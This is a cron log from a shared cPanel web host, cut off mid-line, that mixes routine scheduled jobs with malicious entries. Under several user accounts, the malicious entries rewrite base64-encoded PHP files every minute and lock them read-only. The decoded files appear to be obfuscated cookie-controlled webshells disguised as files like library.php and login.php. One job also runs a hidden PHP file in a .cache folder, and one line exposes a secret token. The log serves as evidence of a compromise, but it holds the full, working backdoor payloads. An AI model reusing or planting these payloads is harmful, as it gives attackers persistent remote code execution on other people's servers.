Mar  1 12:12:02 medusa CROND[4467]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:12:02 medusa CROND[4468]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:12:02 medusa CROND[4469]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:12:02 medusa CROND[4470]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:12:02 medusa CROND[4478]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:12:02 medusa CROND[4482]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:12:02 medusa CROND[4479]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:13:02 medusa CROND[26806]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:13:02 medusa CROND[26807]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:13:02 medusa CROND[26808]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:13:02 medusa CROND[26810]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:13:02 medusa CROND[26811]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:13:02 medusa CROND[26812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:13:02 medusa CROND[26813]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:13:02 medusa CROND[26815]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:13:02 medusa CROND[26817]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 12:13:02 medusa CROND[26819]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:13:02 medusa CROND[26820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:13:02 medusa CROND[26827]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:13:02 medusa CROND[26839]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:13:02 medusa CROND[26840]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:14:02 medusa CROND[16645]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:14:02 medusa CROND[16741]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:14:02 medusa CROND[16742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:14:02 medusa CROND[16743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:14:02 medusa CROND[16744]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:14:02 medusa CROND[16745]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:14:02 medusa CROND[16746]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:14:02 medusa CROND[16747]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:14:02 medusa CROND[16748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:14:02 medusa CROND[16751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:14:02 medusa CROND[16753]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cm